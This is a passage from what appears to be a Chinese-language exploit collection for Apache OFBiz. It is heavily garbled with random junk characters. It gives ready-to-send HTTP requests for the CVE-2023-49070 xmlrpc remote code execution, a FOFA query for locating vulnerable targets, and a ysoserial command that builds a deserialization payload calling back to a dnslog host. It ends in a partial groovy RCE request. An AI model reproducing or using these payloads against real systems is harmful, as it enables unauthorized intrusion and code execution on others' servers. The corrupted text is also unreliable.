* s2 S/ y, I% Dobj_app_upfile3 M4 N' w8 H) _$ D' o
------WebKitFormBoundarybqvzqvmt( W1 R2 H3 y a! q- E0 z% e
Content-Disposition: form-data; name="__hash__". {5 n3 |7 D. }! G9 }4 O
) p' m6 R/ b5 B5 u0b9d6b1ab7479ab69d9f71b05e0e9445 6 E, u5 Q% F) Y8 t, V" H7 ^9 |------WebKitFormBoundarybqvzqvmt-- 2 F/ g4 z7 K* U% z& M; y2 h- z5 X & |) [$ b2 x* }. _, B! v2 c7 H ' P) Y/ r8 c+ z2 q& k$ O/ H0 h + p9 j2 k1 N- k9 b" c+ tGET /attachements/xlskxknxa.txt HTTP/1.1$ X( H' Q5 D& s$ N
Host: xx.xx.xx.xx& g2 F2 H: X; r; t
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 9 O1 p* e: l t) {4 ^6 N; ~6 t' `* C4 h! {0 V
: `- N3 R8 S% p: A; J
: ]2 H- @. S* N95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行# Q+ ^2 L0 R/ r
CVE-2023-49070$ [4 \8 M# Y9 z1 Q7 T$ V* j. n
FOFA:app="Apache_OFBiz"6 B$ X/ d7 b2 C5 n4 c0 V8 a/ Q
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1! G2 F) E! w. T+ @" m5 z, K
Host: x.x.x.x3 \, c6 T' j- }2 H8 R
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 / Q3 E& M0 e2 \9 p- [# D9 D; HConnection: close ( _8 q; t, q% @3 @Content-Length: 889" [5 j5 R% v$ E9 B1 g# }
Content-Type: application/xml # E( ~1 F" X% y0 \; B; dAccept-Encoding: gzip % D0 z' O5 E N' a. Z3 H * A- C( u9 P8 x<?xml version="1.0"?>% u) y) y& G3 M- h5 c# ?6 L
<methodCall> : X! y) p7 p7 }% D, a$ d" _% I <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>9 L8 l3 ?$ ^7 t+ R0 Q) `; x
<params> 3 f; @7 w# L7 x% H0 l' p <param> A# a$ ?( Y- ] { <value>, v7 I6 p5 ~; M
<struct> . P, {) I9 P# i# o4 c <member> V6 B6 O& v- V3 g( h <name>test</name>5 S4 ]1 s7 s" a' R( b- E% b# q
<value> 8 \0 J. k* M' k* V% B ~: A3 g0 j3 `% T <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>0 c) Z1 o/ \0 O9 ?
</value> / @: p& w( f( Z9 h! z2 [+ H </member> 9 s: y- H+ k2 B9 m$ {! U$ j; ~9 n </struct>* m3 n# Q) q; D2 R' T( p! C; ^
</value> " Y" \2 i u9 r" P- {& I6 m, V </param>3 B0 n$ g( H6 Y
</params>4 z8 ]9 `( p7 t
</methodCall> . o4 I7 s: @+ m* _4 J$ M) V' F$ v1 m8 s9 |3 c; U6 i
- }% W( J8 ]4 N# d
用ysoserial生成payload6 z5 C( |5 k( h
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"1 f) p5 m: @* l' m0 n9 m& K
, m+ y/ a# c/ A, N8 ]5 {5 u
! ]* u) ?6 R$ S' Q将生成的payload替换到上面的POC2 q$ e7 m* `" a4 v% o; D- [
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1 1 [! `; |9 B1 qHost: 192.168.40.130:8443 J( g& X" ]$ N( I' u" z7 t# g& qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.363 r8 e# W2 F9 N1 L! l8 T8 e
Connection: close ~# e1 M; ^) I5 Y$ f. H5 T
Content-Length: 889 9 Y: P6 f. f5 C( u) D# tContent-Type: application/xml - t' |5 K5 H# x1 H, {Accept-Encoding: gzip 8 K4 A. P6 [: [8 K/ A / ?0 q/ _- R, p! FPAYLOAD ( V4 W( m' b) L5 v- w* V! B' i6 a$ B: v" [# O% C
96. Apache OFBiz 18.12.11 groovy 远程代码执行0 ^/ J" ]/ s7 B
FOFA:app="Apache_OFBiz" # B: q% P9 a6 W5 {POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 , M- n( x* u) A) a$ g7 A+ wHost: localhost:8443 ) h O$ n' h+ ?0 R% O2 O0 N* lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 ) y- e1 t, k7 v0 |Accept: */* 5 E& R% Y! A. E& O& tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 8 ]& a) m% I. i* ~4 Y0 z5 GContent-Type: application/x-www-form-urlencoded / Y$ M! _3 O( u" }. kContent-Length: 554 E5 _: U+ N) V$ u. E- M w5 |